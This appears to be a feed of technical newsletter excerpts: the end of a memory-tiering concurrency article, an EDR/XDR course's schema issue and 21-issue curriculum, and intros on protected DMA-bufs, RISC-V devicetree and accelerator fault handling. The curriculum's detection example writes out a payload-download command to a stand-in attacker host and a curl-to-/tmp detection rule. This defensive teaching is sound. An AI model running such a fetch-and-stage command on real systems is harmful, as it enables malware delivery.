At 8 workers the gap is within noise — worth stating plainly rather than dressing it up, since this workload’s critical section (a 256-byte compare) is small enough that mutex overhead doesn’t dominate at low contention. At 32 workers the lock-based variant is consistently ~7-8% slower, and the gap should widen further with larger block sizes or higher core counts, since the mutex fully serializes all reads across all blocks — including reads to blocks nowhere near an active migration — while the seqlock only imposes a cost on the specific block being migrated, and only for the duration of that migration. The honest takeaway: at this demo’s scale the lock-free design’s benefit is real but modest, not dramatic; its value compounds with core count and contention, which is exactly the regime real memory-tiering hardware operates in.

The other number worth watching under a real workload is the eviction spin in promote_block‘s pin-drain loop (sched_yield() until a pin count reaches zero). In this demo it resolves in microseconds because the “read” being waited on is a 256-byte comparison loop. In the kernel’s actual migration path, the equivalent wait is bounded by migrate_pages()‘s retry-with-backoff logic around page_count(), and a page pinned for an extended I/O operation can genuinely stall a migration attempt — which is one reason the kernel biases toward not migrating pages that are under active DMA or pinned for get_user_pages(), rather than waiting indefinitely.

10. Debugging Techniques

The gauntlet, run in order:

gcc -Wall -Wextra -Werror -O2 -pthread -o tiering_fixed_gcc tiering_fixed.c
clang-18 -Wall -Wextra -Werror -O2 -pthread -o tiering_fixed_clang tiering_fixed.c
clang-18 -fsanitize=thread -O1 -g -pthread -o tf_tsan tiering_fixed.c && ./tf_tsan
clang-18 -fsanitize=address,undefined -O1 -g -pthread -o tf_asan tiering_fixed.c && ./tf_asan
valgrind --leak-check=full ./tf_vg

Beyond the sanitizer gauntlet, the demo carries its own correctness oracle: every block’s canonical content is a fixed byte pattern ((uint8_t)block_id repeated), so any reader can independently verify it got a coherent view without needing a race detector to be watching at that exact moment. This matters because — as Section 11 shows in detail — some of these bugs did not reproduce under TSan’s own instrumentation until contention was cranked up, and one class of bug (stale-buffer reuse) is invisible to TSan and ASan entirely under certain interleavings; the oracle caught it when the sanitizers, that run, did not.

11. Production Failure Scenarios

This is the honest record of what actually broke, in the order it broke, while building this demo. Nothing here is retrofitted or smoothed over.

Failure 1 — lost updates on the access counter. The first version used a plain long access_count incremented with count++ from multiple worker threads. ThreadSanitizer flagged it immediately:

WARNING: ThreadSanitizer: data race (pid=1276)
  Read of size 8 ... by thread T1: #0 promoter_fn tiering_buggy.c:157
  Previous write of size 8 ... by thread T2: #0 touch_block tiering_buggy.c:71
SUMMARY: ThreadSanitizer: data race tiering_buggy.c:71:20 in touch_block

At -O0 with contention deliberately increased (8 workers, promotion every 20 ops), the plain build also produced observably wrong totals: Total recorded accesses: 399483 (expected 400000) — a real lost-update, not a hypothetical one. Fix: _Atomic long with atomic_fetch_add_explicit.

Failure 2 — torn reads on the tier/pointer pair. Even after fixing the counter, the correctness oracle kept firing: Corruption events detected by readers: 5 on a run with a perfectly correct access total. The bug was structural, not a simple race TSan would flag on every run: tier was flipped to its new value one line before data was repointed, so a reader landing between those two writes would see a tier that didn’t match the buffer it was about to read. The fix was a seqlock-style publish: bump a sequence counter to odd, perform both writes, bump it back to even; readers snapshot the sequence before and after their read of the pair and retry if it moved or was caught mid-flight (odd).

Failure 3 — the seqlock alone wasn’t enough. After adding the seqlock, corruption persisted at a low but nonzero rate, with zero retries recorded — meaning the seqlock itself was never catching a torn metadata read, so the bug had to be somewhere else. The actual cause: even a reader who validates a perfectly consistent {tier, data} snapshot can still be handed a pointer into a buffer that gets reused for a different logical block while the reader is mid-comparison, because nothing tracks how long that pointer stays “in use” once the metadata check passes. This is the same reason kernel page migration takes an extra get_page() reference and checks page_count() before repurposing physical memory — a seqcount protects metadata consistency, not buffer lifetime. Fix: a per-slot pin count, incremented after seqlock validation (with a re-check to catch the pin racing the migration itself), and eviction now spins on sched_yield() until the pin count it’s about to invalidate reaches zero.

Failure 4 — the same hazard existed on the slow-tier side too. After fixing the fast-tier pin, TSan still found a live race:

WARNING: ThreadSanitizer: data race (pid=1724)
  Read of size 1 ... touch_block tiering_fixed.c:122
  Previous write of size 8 ... promote_block tiering_fixed.c:161 (memcpy)
  Location is global 'g_slow_pool'

I had only pinned the fast pool, on the assumption that each block’s slow-tier slot was exclusively its own and therefore stable. It’s not: every demotion overwrites that same slow slot with new content, so a slow-tier reader from a previous promote/demote cycle can still be mid-read when a later demotion lands. The fix is structurally identical to Failure 3 — a g_slow_pin[] array, indexed by block id, drained before any demotion memcpy.

Failure 5 — volatile is not synchronization. TSan’s last complaint was on the shutdown flag: g_stop was volatile int, toggled by the main thread and polled by the promoter. volatile only prevents the compiler from caching the value in a register across loop iterations; it makes no atomicity or ordering guarantee under the C11 memory model, and TSan correctly flagged the plain read/write as a race. Fixed by making it _Atomic int.

Five real, sequential fixes — not one. That progression is the actual lesson: seqlocks solve metadata consistency, refcounting/pinning solves buffer lifetime, and they are not substitutes for each other.

Working Demo Link:

12. Real-World Production Use Cases

• CXL memory-expander tiering in modern data-center fleets, where a fraction of a node’s memory footprint sits behind a CXL switch at ~2-3x local-DRAM latency, and node_demotion[] ranks it below local DRAM but above swap. Operators typically size this tier for capacity headroom (letting a host run workloads whose working set exceeds locally-installed DRAM) rather than as a performance win in itself — the win is avoiding swap-to-disk latency for the coldest fraction of a large working set, not making the hot path faster.

• HBM-as-last-level-cache on accelerator-attached CPUs, where HBM is exposed as a fast NUMA node rather than transparent hardware cache, pushing the promotion/demotion decision into software exactly like this demo. This trades hardware cache-controller simplicity for software visibility: an administrator or a workload-aware daemon can pin known-hot structures directly rather than relying on an opaque hardware LRU, at the cost of needing exactly the migration-correctness discipline this article works through.

• DAMON-driven proactive reclaim (DAMON_RECLAIM), which uses the same access-classification signal described in Section 4 to demote cold anonymous pages before memory pressure forces a more expensive synchronous reclaim. This is the “classification” half of Section 3’s problem statement running in production today, independent of whether a slower memory tier or swap is the eventual destination.

• Database buffer-pool tiering at the application layer — PostgreSQL’s shared_buffers and various embedded-KV engines increasingly implement their own hot/cold classification over a two-tier storage model (DRAM plus NVMe or DRAM plus CXL), because they can exploit domain knowledge (query patterns, index structure) that a general-purpose kernel mechanism can’t assume. These application-level tiering layers hit the identical migration-consistency hazard from Section 11 whenever a background compaction or eviction thread races a foreground query thread against the same buffer.

• Cross-referencing this series’ disaggregated-memory article: the batching DMA-descriptor model there and the migration copy here are the same operation — move bytes between tiers — viewed from the data-movement side versus the placement-policy side. The HMM/GPU page-migration article’s TOCTOU fix (sequence-counter retry plus page pinning) is, in retrospect, the exact same two-part pattern this article’s Failures 3 and 4 rediscover independently: a sequence counter alone validates metadata, and pinning is the separate mechanism required to protect the underlying buffer’s lifetime.

13. Hands-on Lab

startup.sh —docker builds both the intentionally buggy version and the fully fixed version, runs the entire validation gauntlet, and prints the actual sanitizer/oracle output for comparison. To reproduce:

chmod +x startup.sh --docker
./startup.sh --docker

Expect to see the buggy build’s TSan race reports and nonzero corruption counts, immediately followed by the fixed build passing all four gauntlet stages with a zero-corruption oracle result across multiple repeated runs — the actual before/after evidence from Section 11, regenerated live rather than pasted from a prior run.

14. Best Practices

• Never publish more than one logically-related field as a bare sequence of independent writes if any reader can observe them mid-sequence; use a seqlock, a single atomic tagged pointer, or RCU.

• A seqlock protects metadata consistency, full stop. If the metadata points at a buffer whose lifetime isn’t otherwise pinned, you have a second, independent bug class to solve — Failures 3 and 4 are the same bug in two different pools because I initially reasoned about “the fast pool” as the special case rather than recognizing the general pattern.

• volatile is for hardware MMIO and signal handlers, not for cross-thread synchronization; reach for _Atomic or explicit fences instead, and let a race detector confirm rather than assume.

• Run correctness oracles alongside sanitizers rather than instead of them. TSan caught four of these five bugs on the runs shown, but the run that mattered for Failure 3 showed zero TSan warnings and nonzero corruption — sanitizers report what they observe in that execution, not what’s structurally possible.

• Treat eviction as “reserve, drain, then reuse,” never “reuse, then hope nobody’s still reading it.”

15. Summary

Heterogeneous memory tiering is a caching problem wearing kernel clothing: classify hotness cheaply, promote and evict under real capacity pressure, and — the part that actually breaks in production — keep migration invisible to every reader that might be mid-access when a page moves. The five real bugs in this article’s build history trace the exact fault line: an unsynchronized counter, a torn compound-state publish, and — the deeper lesson — a buffer-lifetime hazard that survives even a correctly-implemented seqlock, because consistency of what you’re pointed at and safety of how long that pointer stays valid are two different guarantees that must both be engineered, not one.

Every modern SoC that plays DRM-protected video has to solve a problem that has nothing to do with video codecs: how do you let a hardware decoder write a decrypted 1080p frame into DRAM, hand that frame to a display controller, and guarantee that at no point does the CPU — or a compromised kernel, or a debugger, or a rogue driver — get to read the plaintext pixels?

The answer, on essentially every ARM-based SoC shipping today, is a hardware memory-protection firewall: a piece of silicon sitting between the SoC’s bus fabric and DRAM that enforces access-control rules per physical address range, independent of and prior to anything the CPU’s MMU does. Linux’s job is to orchestrate that firewall correctly from a kernel that is, by design, not trusted with the secrets the firewall is protecting.

This article is about the kernel-side plumbing that makes that possible: protected DMA-bufs — dma-buf objects whose backing memory is gated by a hardware firewall rather than ordinary page-table permissions — and the concurrency and correctness hazards that show up when you try to manage that firewall’s state from a multi-threaded, multi-device kernel subsystem.

We’re going to build a working (and then broken, and then fixed) simulation of the attach/detach/firewall-lock state machine that sits underneath this subsystem, run it through ThreadSanitizer, AddressSanitizer, and Valgrind, and look at two real, reproduced bugs: a heap-use-after-free born from a TOCTOU race on the firewall’s unlock path, and a security-relevant alignment bug that no sanitizer can see because it isn’t a memory-safety bug at all — it’s a policy bug that leaves real bytes unprotected.

Read more

This issue sets the threat model, five-layer architecture, and OCSF-mapped TelemetryEvent wire contract used for every later module. No host agent runs here. Issue 02 introduces the first executable binary.

Scope and terms

Antivirus evaluates files against signatures and heuristics at write or execution time.

EDR (Endpoint Detection and Response) evaluates sequences of behavior: process trees, command lines, file and network activity, plus response actions such as process kill, host isolation, and file quarantine. Living-off-the-land activity (certutil, PowerShell, rundll32) often never drops a distinct malware file, so file-only detection is incomplete. Phases A and B of this course build the OS telemetry EDR requires.

SIEM aggregates logs from multiple point products (firewalls, EDR, identity providers) into a shared query surface.

XDR extends detection and correlation beyond endpoints to network, identity, and container sources so related alerts form one incident. Module 9 implements that layer. Earlier modules produce the telemetry it joins.

MITRE ATT&CK is a public catalog of adversary techniques (for example T1105, Ingress Tool Transfer). From Module 7 onward, detection rules are tagged with the technique they target so Module 14 can report coverage against exercised techniques rather than untested rule tags alone.

The EDR agent itself is part of the threat model. It typically runs with elevated privileges and is a high-value target for disablement or tampering. Tamper resistance is deferred to Module 13; the design implication starts now: assume an attacker who knows the agent is present.

Telemetry, detection, and response

Keep these layers separate while building:

LayerResponsibilityPrimary failure modeTelemetryCollect host and cloud eventsSilence: missing fields make activity invisible downstreamDetectionScore telemetry and raise alertsNoise or blindness: excessive false positives, or missed true positivesResponseChange host state (kill, isolate, quarantine)Unsafe control: a remote action path without sufficient authorization and audit

A missing telemetry field often looks like a detection bug. Confirm collection before tuning rules.

System architecture

The platform data plane has five layers: agents, ingestion, storage, detection and correlation, and dashboard / copilot. Response commands return to agents on a separate control-plane path. Do not model response as only a dashboard button.

The same spine applies to a Linux host, a Kubernetes node, or identity-provider audit logs. Modules 1–6.5 align each source to one vocabulary before deeper detection work.

OCSF as the storage and query model

Custom JSON field names (for example parentProcId) are inexpensive in early modules and costly later. Public Sigma rules still use classic fields such as Image and CommandLine. OCSF does not eliminate conversion; it provides one storage vocabulary for Sigma pipelines, correlation joins, and later investigation tools.

This course normalizes to the Open Cybersecurity Schema Framework (Linux Foundation project since November 2024). Confirm the current release at schema.ocsf.io. This issue was verified against 1.8.0 (March 2026). AWS Security Lake is a clear OCSF-native lake example. Elastic’s primary gravity remains ECS. Vendor agent wire formats are not uniformly OCSF. The project adopts OCSF as the greenfield storage and query model.

Protobuf is the wire format. OCSF is the data model. Classification fields (class_uid, category_uid, activity_id, type_uid, severity_id) belong on the Base Event. The metadata object carries product identity and the OCSF schema version string.

Maintain docs/ocsf-mapping.md as the source of truth. Update that document before extending proto/telemetry.proto when new event classes are added.

Wire contract decisions

Place classification fields at the top level of TelemetryEvent so conversion and query code share one convention.

Model Actor with both process and user. For process Launch, the actor process is typically the parent. A user-only actor object does not match OCSF process activity semantics.

Include process.uid as durable process identity. Operating systems reuse PIDs; lineage and process-tree views require a stable id. Agents populate process.uid beginning in Issue 02.

Start oneof activity at field number 10 so later file and network arms can be added without renumbering. Assigned field numbers are part of the wire contract.

Compute type_uid as class_uid * 100 + activity_id (process Launch → 100701). Downstream tables and rules key on this value.

Store file hashes as a single sha256 string until Module 6 (TIER 2). Leaving process.uid empty while claiming OCSF alignment produces incorrect lineage later; populate the field when agents ship.

Deliverable

Produce the repository scaffold, proto/telemetry.proto mapped to OCSF process_activity, docs/ocsf-mapping.md, and the architecture and mapping diagrams. No host agent executes in this issue.

Completion criteria:

1. protoc --proto_path=proto --python_out=/tmp proto/telemetry.proto completes without errors.

2. You can locate top-level type_uid, severity_id, and Actor.process in the proto without referring to this article.

3. You can redraw the five-layer architecture and state the primary failure mode of each layer.

Labs

1. Install Sysmon on a Windows VM and osquery on any OS. Generate ordinary activity (browser, terminal). Inspect raw event schemas. Do not write project code yet.

2. Open the process_activity class on schema.ocsf.io. Compare fields to Sysmon and osquery output. Note gaps in both directions; do not resolve them yet.

3. Redraw the architecture diagram from memory. Write one sentence per layer describing its role. If any layer is unclear, reread the architecture section before starting Issue 02.

Implementation guide: Foundations, Threat Model & OCSF

Github Link:

https://github.com/sysdr/production-xdr-edr/tree/main/v01-foundations-ocsf

Keep this guide open while building. Design rationale is in the issue article; this document is the step sequence only.

Prerequisites

• git

• protoc (protobuf compiler), v3.21+ recommended

  • macOS: brew install protobuf

  • Linux: apt install -y protobuf-compiler (or distro equivalent)

  • Windows: install from protobuf releases and add to PATH

• A text editor

• No OS-native agent tooling in this issue (starts Issue 02)

Verify:

protoc --version
# libprotoc 3.21.0 or higher

Step 1 — Scaffold the repository

mkdir edr-xdr-from-scratch && cd edr-xdr-from-scratch
git init

mkdir -p agent-windows agent-macos agent-linux agent-k8s \
         backend dashboard detections copilot proto \
         docs/issue-notes docs/implementation-guides docs/diagrams

Verify: tree -L 2 (or ls -R) shows the nine top-level module directories plus docs/ and proto/.

Step 2 — Add the protobuf schema

Create proto/telemetry.proto with TelemetryEvent and related messages. Read every OCSF mapping comment while writing. Field comments are the contract later modules assume.

Requirements:

1. Classification fields are top-level on TelemetryEvent: class_uid (1007), category_uid (1), activity_id, type_uid (class_uid * 100 + activity_id), severity_id. Do not place these only inside metadata.

2. Metadata holds product identity and OCSF schema version (ocsf_version → metadata.version).

3. Actor includes user and process. For Launch, actor process is typically the parent.

4. ProcessActivity.uid provides durable process identity. PID alone is insufficient for lineage.

5. oneof activity currently contains only process_activity at field 10. Later modules add arms without renumbering existing fields.

Verify:

protoc --proto_path=proto --python_out=/tmp proto/telemetry.proto

--python_out is a syntax check only. Module 1 onward uses Rust. No compiler output means success.

Step 3 — Write the OCSF mapping document

Create docs/ocsf-mapping.md before treating the proto as finished. Later modules that add event types edit this file first, then the proto.

Include at minimum:

• Rationale for OCSF (Sigma conversion target, lake/interchange where OCSF is used, shared tool vocabulary)

• Top-level classification and type_uid / severity_id / proper metadata

• Full field mapping table including process.uid and actor.process

• Explicit list of deliberate non-exact mappings (for example flattened sha256)

• Short detection field contract preview for Module 7

Sandbox / CI / Reader VM

StepSandbox / CIReader machineRepo scaffold + markdownFullFullprotoc compileNeeds protobuf in the environmentRequired — Step 2SVG render checkOptional XML well-formednessOpen in browserLive OS agentsN/A this issueStarts Issue 02

Step 4— README and changelog

Write top-level README.md covering repository layout, navigation of docs/issue-notes/, and the honesty label (demoable vertical slice).

Start CHANGELOG.md with one section per issue tag:

## v01-foundations-ocsf
- Repo scaffold
- TelemetryEvent protobuf schema, mapped to OCSF process_activity (class_uid 1007)
- System architecture + OCSF mapping diagrams

Step 6 — Verify the deliverable

Curriculum deliverable: architecture diagram + README + protobuf schema stub with an explicit field-to-OCSF mapping table.

Checklist:

• proto/telemetry.proto compiles with protoc

• Top-level type_uid, severity_id, class_uid, category_uid, activity_id exist on TelemetryEvent

• Metadata carries product + OCSF version; Actor has user + process

• ProcessActivity.uid and ProcessRef.uid exist

• Mapped fields have OCSF attribute comments

• docs/ocsf-mapping.md is complete and uses Sigma-as-conversion wording

• README.md explains repository structure

• You can state the role and primary failure mode of each architecture layer

Common errors

protoc: command not found — install the compiler and restart the shell so PATH updates apply (especially on Windows).

Unexpected field numbers after edits — protobuf field numbers are part of the wire format. Do not renumber existing fields; later issues assume stability.

Nothing runs yet — expected. Issue 01 is architecture and schema only. The first runnable binary is linux-agent in Issue 02.

Next issue

Tag this checkpoint before Issue 02:

git add -A
git commit -m "Issue 01: foundations, threat model, OCSF schema"
git tag v01-foundations-ocsf

Validation note

proto/telemetry.proto should be checked for brace balance and field uniqueness. Full protoc compilation requires a local protobuf install. If compilation fails on a correct install, treat it as a bug report against this issue package.

The Full 21-Issue Curriculum

This is the complete curriculum map for the course — every issue, what it covers, and how it fits into the larger system. Each issue corresponds to a git tag in the companion repo, so you can check out the exact working state described at any point.

Course Description

This course builds a layered EDR/XDR system across 21 issues, the same way real security platforms are architected: agents observe activity on a host, events are normalized into a shared schema, shipped securely, stored, run through detection rules, correlated into incidents, and surfaced to an analyst (human or AI) who can approve a response.

It is a demoable vertical slice — most agent demos run on replay fixtures rather than live kernel hooks, and some components (like the macOS agent) are explicitly scaffolds. The goal is to teach the engineering layering of an EDR/XDR platform honestly, not to ship a production fleet agent.

What You’ll Build

• Agents for Linux (eBPF/Aya), Windows (ETW), macOS (ES scaffold), and Kubernetes

• An OCSF normalization layer that converts OS-specific events into a shared schema (verified against OCSF 1.8.0)

• A buffered, mTLS-secured transport layer for shipping events

• A pipeline (broker → ClickHouse/SQLite) for ingest and storage

• Sigma-as-code detection rules and a behavioral scoring engine

• An XDR correlation engine and ITDR (identity threat detection) rules

• A control-plane response system with approval gating

• A SOC dashboard and an AI copilot with red-team testing

• An anti-tamper watchdog lab and a Helm packaging setup

Overall Architecture

Linux / Windows / macOS / K8s agents
        ↓ (OCSF JSON events)
Buffer (SQLite) + mTLS shipper
        ↓
Ingest → broker (file-backed / Kafka-Redpanda) → ClickHouse/SQLite
        ↓
Detections (Sigma + behavioral) → XDR correlation → ITDR
        ↓
Response (approved actions only)
        ↓
SOC dashboard / AI copilot

The 21-Issue Curriculum

Module 0 — Foundations

Issue 01 — Foundations, Threat Model, OCSF (v01-foundations-ocsf)

• What’s covered: The threat model for the system and an introduction to OCSF (Open Cybersecurity Schema Framework) as the shared event language.

• What you build/work with: The conceptual foundation and schema mapping approach used by every later issue.

• Key concepts: Why a common schema matters when events come from different operating systems.

• Why it matters: Every agent, every detection rule, and every dashboard view depends on this normalized format existing first.

Module 1 — Agents

Issue 02 — Linux Agent (eBPF) (v02-linux-agent-ebpf)

• What’s covered: A Linux agent built with eBPF/Aya that observes process activity, run in --mode replay against fixture files like exec-events.jsonl.

• What you build/work with: Raw kernel-style event capture and conversion into OCSF Process Activity events, including the durable process.uid (boot:pid:start_time) used to link related events.

• Key concepts: eBPF as a kernel-hook mechanism; replay-based lab testing.

• Why it matters: This is the first “eyes on the machine” sensor and the template for how all agents feed the pipeline.

Issue 03 — Windows Agent (ETW) (v03-windows-agent-etw)

• What’s covered: A Windows agent built on ETW (Event Tracing for Windows).

• What you build/work with: OS-specific event capture translated into the same OCSF format used by the Linux agent.

• Key concepts: Cross-platform normalization — different collection mechanism, same output schema.

• Why it matters: Demonstrates that the backend doesn’t need to care which OS an event came from once OCSF is applied.

Issue 04 — macOS Agent (ES Scaffold) (v04-macos-agent-esf)

• What’s covered: A macOS agent scaffold structured around Endpoint Security (ES).

• What you build/work with: The agent’s structural scaffold/mock rather than a fully live ES integration.

• Key concepts: How to design an agent interface even when the underlying OS hook is not fully implemented.

• Why it matters: Completes the three-OS agent story while being honest about what is scaffolded versus fully built.

Module 2 — Transport & Pipeline

Issue 05 — Transport, Buffering, mTLS (v05-transport-mtls)

• What’s covered: The transport layer — a SQLite-backed buffer for offline resilience and mTLS for secure, authenticated shipping.

• What you build/work with: A shipper that batches and sends events over HTTPS with certificate-based identity.

• Key concepts: Buffering against network loss; mutual TLS as agent-to-backend authentication.

• Why it matters: Events are worthless if they’re lost in transit or spoofable — this is the “sealed courier bag” of the system.

Issue 06 — Pipeline: Kafka → ClickHouse (v06-pipeline-clickhouse)

• What’s covered: The backend ingest pipeline — accepting batches, queuing them on a broker (file-backed in labs, Redpanda/Kafka in the fuller setup), and flattening OCSF into stored rows.

• What you build/work with: Ingest → broker → consumer → storage (SQLite in demos, ClickHouse for analytics).

• Key concepts: Queue-based decoupling of ingest from storage; flattening structured events into analyzable rows.

• Why it matters: This is the receive-queue-store backbone every later detection and correlation issue reads from.

Module 3 — Telemetry Depth

Issue 07 — File Telemetry (v07-file-telemetry)

• What’s covered: File-related event capture and OCSF mapping.

• What you build/work with: File write/create events flowing through the same agent-to-pipeline path.

• Key concepts: Extending an OCSF event category beyond process activity.

• Why it matters: File events are core evidence in the “curl → /tmp” style detection pattern used later.

Issue 08 — Network Telemetry (v08-network-telemetry)

• What’s covered: Network connection event capture and normalization.

• What you build/work with: Network activity events joined to the same process context via process.uid.

• Key concepts: Linking network activity to the process that initiated it.

• Why it matters: Enables detections and correlation that combine “what ran” with “what it connected to.”

Issue 09 — Persistence Telemetry & Coverage Matrix (v09-persistence-telemetry)

• What’s covered: Persistence-mechanism telemetry (how attackers stay resident on a system) plus a coverage matrix documenting what is and isn’t observed.

• What you build/work with: Additional event types and a matrix tracking detection coverage across the system.

• Key concepts: Persistence as an attacker technique category; the value of tracking telemetry coverage explicitly.

• Why it matters: Establishes an honest record of what the system can and cannot see — important for both engineering and later capstone reporting.

Issue 10 — Kubernetes / Container Telemetry (v10-k8s-ebpf-agent)

• What’s covered: A Kubernetes agent producing container-enriched events.

• What you build/work with: Container context added to the same OCSF event pipeline used by the OS agents.

• Key concepts: Extending endpoint visibility into containerized workloads.

• Why it matters: Real environments aren’t just laptops — this brings container visibility into the same pipeline.

Module 4 — Detection

Issue 11 — Sigma-as-Code Detection Engine (v11-sigma-detection-engine)

• What’s covered: A detection engine built around Sigma-as-code rules (YAML-based rules such as proc_curl_tmp.yml, which alerts when a process named curl runs with /tmp in the command line).

• What you build/work with: A rule-matching engine that treats Sigma as a conversion story — rules mapped against OCSF fields.

• Key concepts: Declarative detection logic; rule-to-schema mapping.

• Why it matters: This is the first “rules that shout” layer — the system’s first line of automated suspicion.

Issue 12 — Behavioral Detection (v12-behavioral-detection)

• What’s covered: Behavioral scoring (behavioral_score.py) that fuses multiple weak signals into a stronger signal.

• What you build/work with: A scoring mechanism that goes beyond single-rule matches.

• Key concepts: Signal fusion versus single-rule alerting.

• Why it matters: Real attacker behavior is rarely caught by one rule alone — this teaches combining weak evidence.

Module 5 — XDR Correlation & Identity

Issue 13 — XDR Correlation (v13-xdr-correlation)

• What’s covered: Correlation logic (backend/correlation) that links host, user, IP, and file-hash signals into a single incident.

• What you build/work with: The engine that promotes related alerts into one incident record.

• Key concepts: This is the practical definition of “X” in XDR — connecting clues across entities rather than viewing alerts in isolation.

• Why it matters: Without correlation, an analyst sees a pile of disconnected alerts instead of one attack story.

Issue 14 — ITDR (Identity Threat Detection) (v14-itdr)

• What’s covered: Identity-based detection rules, such as impossible-travel logins.

• What you build/work with: Identity signals feeding into the same correlation pipeline.

• Key concepts: Identity as a first-class telemetry source alongside host and process data.

• Why it matters: Modern attacks frequently involve compromised credentials, not just malware — this extends detection beyond the endpoint.

Module 6 — Response

Issue 15 — Response Actions (v15-response-actions)

• What’s covered: A control-plane response system (backend/response) supporting actions like KillProcess, QuarantineFile, and IsolateHost.

• What you build/work with: A response mechanism that strictly separates the data plane (seeing events) from the control plane (taking action), per ADR 001 — actions only execute with an explicit --approved flag and are audited to audit.jsonl.

• Key concepts: Data plane / control plane separation; approval-gated automation; audit logging.

• Why it matters: No silent auto-response — this models a safe, deliberate action system rather than an autonomous one.

Module 7 — Analyst Experience

Issue 16 — SOC Dashboard (v16-soc-dashboard)

• What’s covered: A static SOC UI showing alerts, hosts, and process trees.

• What you build/work with: The analyst-facing view of everything built in prior issues — alerts, entities, and process ancestry.

• Key concepts: Turning backend data into an investigable interface.

• Why it matters: Detection and correlation are only useful if an analyst can actually see and act on them.

Issue 17 — AI Copilot (v17-ai-copilot)

• What’s covered: An AI copilot that can propose actions (with citations) based on alert data.

• What you build/work with: Constrained AI tooling layered on top of the dashboard and backend data.

• Key concepts: AI-assisted investigation with proposal-only behavior — the copilot suggests, it doesn’t auto-fire.

• Why it matters: Reflects how AI is realistically integrated into a SOC workflow — as an assistant, not an autonomous actor.

Issue 18 — Copilot Red-Team Testing (v18-copilot-redteam)

• What’s covered: Red-team/injection testing against the AI copilot.

• What you build/work with: Test cases probing the copilot’s constrained tool boundaries.

• Key concepts: Adversarial testing of AI tooling, including prompt-injection resistance.

• Why it matters: An AI system with tool access needs to be tested against manipulation, not just functionality.

Module 8 — Hardening & Capstone

Issue 19 — Evasion & Anti-Tamper (v19-evasion-antitamper)

• What’s covered: A watchdog/health-check lab for anti-tamper concepts.

• What you build/work with: Basic mechanisms for detecting agent tampering or evasion attempts.

• Key concepts: Why endpoint agents themselves need to be resistant to interference.

• Why it matters: An EDR agent that can be silently disabled by an attacker isn’t providing real protection.

Issue 20 — Capstone Hardening / Packaging (v20-capstone-hardening)

• What’s covered: Packaging the stack with a Helm chart (deploy/helm/edrxdr/).

• What you build/work with: A Helm chart skeleton to deploy the backend-ish stack.

• Key concepts: Packaging a multi-component system for deployment.

• Why it matters: Moves the project from “a set of scripts” toward something deployable as a unit.

Issue 21 — Capstone Red-Team & Coverage Report (v21-capstone-redteam-final)

• What’s covered: A final red-team pass and a coverage report summarizing what the system detects and where its gaps are.

• What you build/work with: An end-to-end validation exercise against the full system built across all 21 issues.

• Key concepts: Coverage assessment as an honest closing exercise, not a claim of completeness.

• Why it matters: Ties the entire course together by testing the system you built against realistic attacker behavior — and documenting its limits.

How the Pieces Connect

The end-to-end story taught across all 21 issues is: see → normalize → ship → store → detect → connect → act → review.

A concrete example: a host runs curl https://evil.example/payload.sh -o /tmp/payload.sh. The Linux agent (or its replay fixture) observes the process launch, converts it to an OCSF Process Activity event, and ships it over the buffered mTLS transport into the ingest pipeline. A Sigma rule (ocsf-proc-curl-tmp) matches and fires a medium alert. If related signals appear — an unusual network connection, an anomalous login — the correlation engine promotes these into a single incident. The dashboard shows the process tree, the copilot proposes an action, and an operator runs an approved response command, which is written to the audit log.

Every issue in the curriculum is one link in that chain.

What You’ll Learn

• How OCSF normalization allows heterogeneous event sources to be treated uniformly

• eBPF, ETW, and Endpoint Security concepts as OS-level observation mechanisms

• Secure telemetry transport using buffering and mTLS

• Ingest pipeline design with broker-based queuing and analytical storage (ClickHouse)

• Writing and reasoning about Sigma-as-code detection rules

• Behavioral signal fusion versus single-rule detection

• XDR correlation logic that links host, user, IP, and hash into incidents

• Identity-based detection (ITDR) concepts like impossible travel

• Data-plane/control-plane separation and approval-gated response design

• Building an analyst-facing SOC dashboard

• Integrating an AI copilot safely, including red-team testing of AI tooling

• Anti-tamper considerations for endpoint agents

• Packaging a multi-service security stack with Helm

Important Note

This course produces a demoable vertical slice, not a commercial security product. Several components are explicitly scaffolds or labs — the macOS agent is built around an ES scaffold, most agent demos run in replay mode against fixture files rather than live kernel hooks, and the broker/storage layer runs in a simplified, file-backed or SQLite form in labs. This is not a claim that completing these 21 issues produces a shipping fleet agent equivalent to CrowdStrike, SentinelOne, or Elastic. The purpose is to teach the real architectural layering these platforms use, honestly and at a scope that’s actually learnable.

Conclusion

By the end of Issue 21, you will have built — layer by layer — a working vertical slice of an EDR/XDR system: agents that observe activity, a shared schema that normalizes it, a secure pipeline that moves and stores it, detection and correlation logic that turns raw events into incidents, and a response and analyst layer that lets a human (with AI assistance) act on what the system finds. You won’t have built a commercial product — but you’ll understand, from the inside, how one is actually put together.

Read more

Every RISC-V SoC that ships with an NPU, DSP, or other fixed-function accelerator faces the same bootstrapping problem ARM SoCs solved a decade ago: the kernel binary is generic, but the hardware underneath it is not. A single Image has to boot correctly on a board with a PLIC at 0xc000000 and an IOMMU-backed accelerator at 0x20000000, and on a board where none of that exists. The devicetree is the mechanism that closes that gap — a flat, boot-time-supplied hardware description that lets the same kernel binary discover and correctly wire up wildly different hardware.

This article works through devicetree from the perspective of an engineer bringing up a heterogeneous RISC-V platform: a CPU cluster, a PLIC interrupt controller, an IOMMU, and a DMA-coherent NPU accelerator. We compile a real .dts with dtc, parse the resulting .dtb with libfdt, deliberately get two things wrong the way real driver code gets them wrong, catch the resulting bugs with sanitizers and a correctness oracle, fix them, and then demonstrate a devicetree overlay hot-attaching a second accelerator at runtime — all executed both natively and cross-compiled under qemu-riscv64.

Read more

The moment you spread a computation across a CPU, a GPU, and maybe a smart NIC or FPGA, you have quietly signed up for a much harder reliability problem than anything a single-socket server presents. A homogeneous multi-core box has one failure model: a core either executes correctly or the whole machine typically halts. A heterogeneous platform has several independent failure domains — host DRAM with ECC, device HBM with its own scrubbing engine, an IOMMU translating and policing DMA, a PCIe or NVLink fabric that can drop or corrupt in flight, and a device firmware stack that can wedge without ever generating a CPU exception. Linux does not treat this as one problem solved once. It treats it as a layered set of contracts: the Machine Check Architecture (MCA) contract between silicon and kernel for host-side hardware errors, the EDAC contract for scrubbing and reporting memory errors, the hardlockup/softlockup watchdog contract for detecting a CPU that has stopped making forward progress, and the accelerator-driver fault contract (IOMMU fault queues plus driver-level timeout detection and recovery, or TDR) for devices that are, from the kernel’s point of view, black boxes connected over DMA.

This lesson is about how those contracts fit together, why each one exists, and how you build software on top of them that survives a fault in one compute domain without losing the whole job. That last part matters enormously in practice: a training run spanning 512 GPUs that restarts from scratch because one HBM cell flipped a bit is not just wasteful, it is often the dominant cost of running heterogeneous clusters at scale.

